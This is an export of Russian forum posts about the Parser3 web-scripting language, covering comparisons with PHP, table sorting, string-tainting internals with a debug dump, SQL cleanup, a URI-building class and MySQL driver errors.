[i]Кроме несколько чуть ли не подряд заданных вопросов о будущем Парсера и их ответах ничего не увидел...[/i]\
\
Пример из жизни.\
Есть мороженное. Много видов. Так вот обычное ванильное мороженное в вафельном стаканчике значительно уступает мороженному от Альгиды или от Nestle... НО почему-то большая часть людей без проблем покупает это обычное мороженное.\
\
Рассуждение.\
Приложения Windows'а и Linux'а значительно отличаются. Довольно часто похожих приложений не бывает. Но каждый пользователь обоих систем находит удобства в обоих.\
[i]Из старого.[/i] Кушать палочками китайцу намного удобнее, чем русскому. Хотя, впринципе, разницы нет никакой.\
\
... Дело в привычке ...\
\
P.S. Что мешает совмещать Parser с PHP?...\
\
[i]\"Кому нужна Ferrari - не нужно смотреть на Запорожец!\"[/i]"
"47386","пожалуйста, напишите ещё раз полностью с полным сообщением об ошибке и куском вашего auto.p"
"47388",">\"Кому нужна Ferrari - не нужно смотреть на Запорожец!\"\
\
Безусловно :)\
Но ведь никто же не говорит, что Ferrari и Запорожец - одно и то же (или, допустим, что Запорожец лучше Ferrari)."
"47389","Дело в том, что заказчики бывают разные и этот \"СОВСЕМ разный\"\
Человек с зачаточными знаниями программирования - зло. Но он платит. И не вижу почему бы не сделать за его счет инструмент, который может понадобиться всем."
"47390","Сначало просто перемешай:\
[code]^table.sort(^math:random(100))[/code]\
\
А потом отсортируй по приоритету:\
[code]^tabble.sort($tabble.priority)[/code]"
"47392","Попал на 404 отсюда http://www.carver.ru/club/"
"47393","а где там написано что \"Все проекты студии постепенно будут переводиться на .NET\"?"
"47396","последний абзац\
[quote]«С 1 ноября 2002 года Студия Лебедева начинает использовать Imprimatur II при создании всех новых сайтов и других информационных проектов. Кроме того, уже определены сроки постепенного плавного перевода ранее созданных сайтов на Imprimatur II», — отметили представители студии.[/quote]"
"47398","Каждый новый table.sort не обращает внимания на тех, кто был до него, и сортирует ровно так, как ему сказали. См. предыдущий ответ.\
\
upd. Кажется, ступил."
"47399","Насколько я понимаю, драйвер ещё не написан. Ежели это так, ищу программиста, который сможет написать его."
"47400","[url=\"http://www.parser.ru/news/\"]Посмотрите[/url] как развивался Парсер с тех пор.\
\
Какой был Парсер три года назад?\
А какой он теперь?"
"47402","Исходные коды проекта парсер открыты.\
Скомпилировать и запустить парсер можно везде.\
База знаний на РУССКОМ ЯЗЫКЕ уже большая, охватывающая все нюансы.\
Есть драйвера ко всем распостраненным БД - Переезд с 4 на 5 mysql состоял в подмене парсерного libMySQL оригинальным.\
Обойти ЛЮБУЮ проблему можно запуском специализированного внешнего приложения - кто вам мешает запускать фотошоп из командной строки для генерации «превьюшек».\
Для использоваяния [url=\"http://www.programmableweb.com/apis\"]модных сервисов web 2.0[/url] и вовсе достаточно десятка строк кода - нет геммороя с поиском чужой, потенциально дырявой библиотеки. Посмотрите php inside - бал правят крикливое большинство, набивая язык инструментами, сделанными на старый манер - через ...\
\
Если вы плясали над php 4-5 или python, приучивая их к юникоду, вы уже любите parser."
"47403","внутри Parser строка хранится в виде двух деревьев:\
листочками первого дерева являются кусочки строк,\
листочками второго: их tainting.\
\
для удобства tainting внутри обозначается и хранится буковками:\
T << неопределённо tainted (только что считался из базы данных)\
H << был просто tainted, но его напечатали в результат и готовы отправить посетителю\
Q << был просто tainted, но напечатали в sql -запрос и готовы отправить на sql-сервер.\
\
строку можно представить себе так:\
[code]\
это написано программистом, а это получено от пользователя. и опять программист.\
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCTTTTTTTTTTTTTTTTTTTTTTTTTTTTCCCCCCCCCCCCCCCCCCCCCC\
[/code]\
\
это только общая идея.\
дальше идут оптимизации простых случаев,\
оптимизации подстрок и другие интересные вещи.\
http://www.parser.ru/docs/src/classString.htm#s20\
http://www.parser.ru/docs/src/pa__string_8h-source.htm#l00077\
http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/cordh.txt\
\
кое-что отлаживал в ^cache, вот кусочек журнала (дерево букв)…\
\
\
[code]\
CORDdump\
Concatenation: 0x81bf9a8 (left_len: 3, len: 10340, depth: 29)\
  0x81d0570: |||!\
  Concatenation: 0x81dec30 (left_len: 0, len: 10337, depth: 28)\
    Concatenation: 0x81dec60 (left_len: 4, len: 10336, depth: 27)\
      0x8579f90: |@|@!\
      Concatenation: 0x85f4600 (left_len: 0, len: 10332, depth: 26)\
        Concatenation: 0x85f4630 (left_len: 3, len: 10329, depth: 25)\
          0x8579f28: @@|!\
          Concatenation: 0x85fafc0 (left_len: 0, len: 10326, depth: 24)\
            Concatenation: 0x85f5000 (left_len: 13, len: 10313, depth: 23)\
              0x81a74a0: |<theatres>|@!\
              Concatenation: 0x85f5030 (left_len: 0, len: 10300, depth: 22)\
                Concatenation: 0x85f50c0 (left_len: 0, len: 10294, depth: 21)\
                  Concatenation: 0x85f5228 (left_len: 0, len: 10279, depth: 20)\
                    Concatenation: 0x85f5390 (left_len: 0, len: 10264, depth: 19)\
                      Concatenation: 0x85f54f8 (left_len: 0, len: 10249, depth: 18)\
                        Concatenation: 0x85f5660 (left_len: 0, len: 10234, depth: 17)\
                          Concatenation: 0x85e89f0 (left_len: 0, len: 1817, depth: 16)\
                            Concatenation: 0x85e8ac8 (left_len: 0, len: 1808, depth: 15)\
                              Concatenation: 0x85e8c30 (left_len: 0, len: 1793, depth: 14)\
                                Concatenation: 0x85e8d98 (left_len: 0, len: 1778, depth: 13)\
                                  Concatenation: 0x85e8f00 (left_len: 0, len: 1763, depth: 12)\
                                    Concatenation: 0x85e5078 (left_len: 0, len: 1748, depth: 11)\
                                      Concatenation: 0x85e51e0 (left_len: 0, len: 1733, depth: 10)\
                                        Concatenation: 0x85e5348 (left_len: 0, len: 1718, depth: 9)\
                                          Concatenation: 0x85e54b0 (left_len: 0, len: 1703, depth: 8)\
                                            Concatenation: 0x85e5618 (left_len: 0, len: 1688, depth: 7)\
                                              Concatenation: 0x85e5780 (left_len: 0, len: 1673, depth: 6)\
                                                Concatenation: 0x85e58e8 (left_len: 24, len: 1658, depth: 5)\
                                                  Concatenation: 0x85e0078 (left_len: 15, len: 24, depth: 1)\
                                                    0x854fdf8: ||@||@||@||@||@!\
                                                    0x85af0c0: ||@||@||@!\
                                                  Concatenation: 0x85e5bb8 (left_len: 0, len: 1634, depth: 4)\
                                                    Concatenation: 0x85e5be8 (left_len: 1, len: 1632, depth: 3)\
                                                      0x81d0de8: |!\
                                                      Concatenation: 0x85e5c18 (left_len: 0, len: 1631, depth: 2)\
                                                        Concatenation: 0x85e5c48 (left_len: 1, len: 1630, depth: 1)\
                                                          0x81d0dc8: |!\
                                                          0x85e324b: ||@@<theatre id=\"9\" priority=\"9\">|@@@|@@@|@<events label=\"март 2005\">|@@|@@@|@@@|@@@@<event day=\"13\" week-day=\"воскресение\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57755\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"14\" week-day=\"понедельник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57756\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"15\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57757\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"16\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57752\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"19\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"58352\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"21\" week-day=\"понедельник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57753\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"0\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"24\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57754\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"26\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"58353\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@|@</events>||@@|@@|@@</theatre>|!\
                                                        0x81d0ce8: |!\
                                                    0x81d0ce0: |@!\
                                                0x854fcd8: ||@||@||@||@||@!\
                                              0x854fca8: ||@||@||@||@||@!\
                                            0x854fc78: ||@||@||@||@||@!\
                                          0x854fc48: ||@||@||@||@||@!\
                                        0x854fc18: ||@||@||@||@||@!\
                                      0x854fbe8: ||@||@||@||@||@!\
                                    0x854fbb8: ||@||@||@||@||@!\
                                  0x854fb88: ||@||@||@||@||@!\
                                0x854fb58: ||@||@||@||@||@!\
                              0x854fb28: ||@||@||@||@||@!\
                            0x85e4960: ||@||@||@!\
                          Concatenation: 0x85f5690 (left_len: 0, len: 8417, depth: 4)\
                            Concatenation: 0x85f56c0 (left_len: 1, len: 8415, depth: 3)\
                              0x81d0de8: |!\
                              Concatenation: 0x85f56f0 (left_len: 0, len: 8414, depth: 2)\
                                Concatenation: 0x85f5720 (left_len: 1, len: 8413, depth: 1)\
                                  0x81d0dc8: |!\
                                  0x85ebb6f: ||@@<theatre id=\"10\" priority=\"10\">|@@@|@@@|@<events label=\"март 2005\">|@@|@@@|@@@|@@@@<event day=\"1\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57685\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"3\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57670\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"5\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57671\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"7\" week-day=\"понедельник\" hollyday=\"0\" time=\"12:00:00\" is-tickets=\"0\" artbilet=\"57662\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"7\" week-day=\"понедельник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57655\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"7\" week-day=\"понедельник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57653\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"8\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57665\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"8\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57654\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"9\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57683\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"10\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57684\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"11\" week-day=\"пятница\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57656\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"12\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57666\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"12\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57659\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"13\" week-day=\"воскресение\" hollyday=\"1\" time=\"12:00:00\" is-tickets=\"0\" artbilet=\"57660\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"13\" week-day=\"воскресение\" hollyday=\"1\" time=\"12:00:00\" is-tickets=\"0\" artbilet=\"57687\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"13\" week-day=\"воскресение\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57676\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"13\" week-day=\"воскресение\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57657\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"15\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57663\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"16\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57678\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"17\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57686\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"17\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57677\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"18\" week-day=\"пятница\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57679\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"19\" week-day=\"суббота\" hollyday=\"1\" time=\"12:00:00\" is-tickets=\"0\" artbilet=\"57688\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"19\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57672\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"20\" week-day=\"воскресение\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57667\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"22\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57668\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"23\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57680\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"23\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57689\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"24\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57673\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"24\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"55531\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"25\" week-day=\"пятница\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57681\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"25\" week-day=\"пятница\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57690\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"26\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57658\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"26\" week-day=\"суббота\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57692\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"27\" week-day=\"воскресение\" hollyday=\"1\" time=\"12:00:00\" is-tickets=\"0\" artbilet=\"57664\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"27\" week-day=\"воскресение\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57691\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"27\" week-day=\"воскресение\" hollyday=\"1\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57682\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"29\" week-day=\"вторник\" hollyday=\"0\" time=\"12:00:00\" is-tickets=\"0\" artbilet=\"57661\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"29\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57694\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"29\" week-day=\"вторник\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57669\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"30\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57674\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"30\" week-day=\"среда\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57695\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"31\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57693\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@@@<event day=\"31\" week-day=\"четверг\" hollyday=\"0\" time=\"19:00:00\" is-tickets=\"0\" artbilet=\"57675\">|@@@@@|@@@@@@|@@@@@@|@@@@@@|@@@@@@<place own=\"1\">|@@@@@@</place>|@@@@@|@@@@</event>|@@@|@@|@</events>||@@|@@|@@</theatre>|!\
                                0x81d0ce8: |!\
                            0x81d0ce0: |@!\
                        0x854f6c0: ||@||@||@||@||@!\
                      0x854f690: ||@||@||@||@||@!\
                    0x854f660: ||@||@||@||@||@!\
                  0x854f630: ||@||@||@||@||@!\
                0x85ea918: ||@||@!\
            0x81a73d0: |</theatres>|!\
        0x81d0c58: |@@!\
    0x81786f0: |!\
[/code]"
"47404","Парсер запускается, отрабатывает данные, отваливается. Его можно притормознуть, хотя количество откручиваемых циклов ограничено - специфика веба.\
\
На нем вы можете реализовать проворный frontend, который будет обращаться к работающему демону по запросу посетителя - корректировать его работу, быстро получая нужные данные.\
А вот демона нужно писать на чём-то другом.\
\
Насколько знаю, примерно так работает mambа - сервис с огромными нагрузками."
"47406","Действующий"
"47407","Не могу понять как выполнить один SQL запрос после выполнения всех, т.е. самым последним. Причём так, чтобы код не находился самым последним (в конце страницы).\
Немного слышал про MySQL Transaction, но пока не имею представления то ли это.\
Впринципе, не так прошу код, как просто \"ткните носом\" в нужный материал.\
\
[i]P.S. База данных: MySQL. Вид запроса: SELECT.[/i]"
"47409","Точно говорят, \"меньше знаешь - крепче спишь\"..."
"47410","то может postprocess?"
"47412","имеет смысл пойти и почитать про транзакции. для общего образования.\
\
вопрос непонятен. гадаем:\
1. почитайте о temp tables в mysql, очень приятная вещь.\
2.\
[code]\
@main[]\
^connect[…]{\
....:sql{...}\
$cleanup{\
^void:sql{delete from battle_arena where fighter_id=$fighter.id}\
}\
....:sql{...}\
\
$cleanup\
}\
[/code]"
"47413","[quote]как показывает статистика 75% пхп программистов до сих пор сидят на PHP4 (может ООП боятся=))))\
[/quote]\
просто ждут когда оставшиеся 25% перепишут за них на PHP5 все нужные им библиотеки функций."
"47414","Про этот я знаю, сам его писал :)))"
"47415","может как-то не так искали?\
<a href=\"http://www.linux.org.ru/view-message.jsp?msgid=296638&back=view-group.jsp%3Fgroup%3D1340%26amp%3Blastmod%3Dt&anonymous=hide\">тут</a>\
и <a href=\"http://www.freetds.org/faq.html\">тут</a>\
или нужен для парсера?"
"47416",">просто ждут когда оставшиеся 25% перепишут за них на PHP5 все нужные им библиотеки функций.\
\
порадовало :)))"
"47420","В письме Вы написали что \"хранить историю в базе, нужно в cookie..\"\
Может лучше в хэшфайле?"
"47421","ибо запросы бывают большие и хранить даже несколько больших запросов в куках не получается: отгребаем ошибку 400 Bad Request.\
\
в хешфайле как никак 8КБ на запись, что гораздо лучше.\
\
а БД фигурирует как нежелательное хранилище по причине того, что в этом случае нужно создавать там таблички, что несколько усложняет переносимость инструмента (который в нашем понимании должен быть как можно проще: скопировал файлик(и) - и все работает)\
\
правда с этой точки зрения хешфайл тоже не очень хорошо, ибо частенько в веб пространство прав на запись нет, т.е. нужно как-то указывать, где хранится путь к файлам хешфайла."
"47424","Суть оптимизации заключается в том, что при создании объекта \
мы переводим полученную таблицу (items) разделов не в хеш с ключем id, а в хеш таблиц с ключем parent_id.\
\
В этом случае значительно упрощается построение урлов (более чем в три раза!).\
\
Для совместимости с Парсер 3.2, я заменил названия методов.\
\
[code]\
@CLASS\
uri\
\
###################################################################\
@init[items]\
$childs_of[^items.hash[parent_id][$.distinct[tables]]]\
\
###################################################################\
@geveme_all_site_uri[parent_uri]\
^if(!def $parent_uri){$parent_uri[/]}\
$_items[^table::create{uri	id	title}]\
^_giveme_uri[$childs_of.0;$parent_uri]\
$result[$_items]\
$_items[]\
### End of @get_all_site_uri[]\
\
###################################################################\
@_giveme_uri[sibling;parent_uri]\
^sibling.menu{\
	^_items.append{${parent_uri}$sibling.[dir]/	$sibling.id	$sibling.title}\
	^if(def $childs_of.[$sibling.id]){\
		^_giveme_uri[$childs_of.[$sibling.id];${parent_uri}$sibling.[dir]/]\
	}\
}\
### End of @_giveme_uri[sibling;parent_uri]\
[/code]\
\
\
[b]P.S.[/b]\
Теперь, при построении урлов, можно задать \"начало урла\".\
Например:\
\
1. Так можно получить урлы относительно корня (по умолчанию)\
[code]\
$site_uri[^uri::init[]]\
$site_uri[^site_uri.geveme_all_site_uri[/]]\
[/code]\
\
\
2. А так -- относительно директории '/some_path/'\
[code]\
$some_uri[^uri::init[]]\
$some_uri[^site_uri.geveme_all_site_uri[/some_path/]]\
[/code]"
"47428","Сиски мять, время от времени, не последнее дело! Не стоит зацикливаться на ПХП. Да и на Парсере тоже :)"
"47430","[code]\
@CLASS\
uri\
\
###################################################################\
@init[items]\
$childs_of[^items.hash[parent_id][$.distinct[tables]]]\
\
###################################################################\
@give_me_all_site_uri[parent_uri]\
^if(!def $parent_uri){$parent_uri[/]}\
$_items[^table::create{uri	id	title}]\
^_give_me_uri[$childs_of.0;$parent_uri]\
$result[$_items]\
$_items[]\
### End of @give_me_all_site_uri[parent_uri]\
\
###################################################################\
@_give_me_uri[sibling;parent_uri]\
^sibling.menu{\
	^_items.append{${parent_uri}$sibling.[dir]/$sibling.id$sibling.title}\
	^if(def $childs_of.[$sibling.id]){\
		^_give_me_uri[$childs_of.[$sibling.id];${parent_uri}$sibling.[dir]/]\
	}\
}\
### End of @_give_me_uri[sibling;parent_uri]\
[/code]"
"47432","На данный момент выяснил, что сообщение об ошибке не зависит от написания libmysqlclient.so, возможно что то на сервере сделали.\
\
[Wed Nov 30 05:25:02 2005] [8062] /contacts/gbook.html: /home/z/zartws/public_html/auto.p(26:2): './lib/libparser3mysql.so' /lib/tls/libc.so.6: unexpected reloc type 0x0e [<no type>]\
\
/cgi-bin/auto.p\
...\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]\
..."
"47434","может так быть?"
"47435","Как описать на XSLT вывод тега <object> для flash \
ролика чтобы можно было брать из XML имя фаила  (  <xsl:value-of select=\"top/url\"/> например !\
Вот текст вывода !\
ПЛИЗ !! :)\
<object\
        type=\"application/x-shockwave-flash\"\
        data=\"/images/validflash/1.swf\"\
        width=\"300\"\
        height=\"300\">\
\
        <param name=\"movie\"\
                value=\"banner_portfolio/350.swf\" />\
\
        <img src=\"/images/validflash/1.gif\"\
        width=\"300\"\
\
        height=\"300\"\
        alt=\"1.gif\" />\
\
</object>"
"47437","Пока не начали пробовать/делать, нет у вас проблем."
"47439","дата = ерунда.\
главное, чтобы драйвер соответствовал OS."
"47442","чтобы можно было взять .dll и положить на HPUX, назвав .so?"
"47444","\"Ибо во многом знании, много печали и тот кто умножает познания, умножает и скорбь...\""
"47445","сделаю это когда подвернется возможность."
"47446","все там есть"
"47447","Всеми руками за!\
Давно ждал, но не ожидал, что кто-то этим займётся.\
\
[b]Пожелание.[/b]\
Как и phpMyAdmin поддержка функций MySQL 4. А именно MySQL charset и connection collation."
"47449","спасибо за коструктивный отзыв Вам и всем, кто таковой оставил.\
\
Это будет реализовано, но не в первую очередь.\
\
Сейчас это только скелет, из которого можно получать ответы на запросы.\
\
что-то еще надумаете - пишите, пожалуйста, в этот тред."
"47450","В смысле - всё так.\
Благо, я много не знаю, по сему - сплю относительно спокойно."
"47451","Может подскажете организацию механизма проверки он-лайн пользователей. Теоретически знаю, а вот практически вечно чтото не то, то не тех выкидывает, то некоторые по два раза в списках. Есть скорее всего малюсенький глюк, который я углядеть не могу :((("
"47454","две просьбы к создателю:\
1) называть каталоги Вебсервер и Сайты по-английски. Например Server sites.\
2) добавить в меню в систрее пункт вызова документации по Парсеру."
"47455","Приставку get в названии метода можно заменить чем угодно. Главное чтобы было понятно что делает метод.\
\
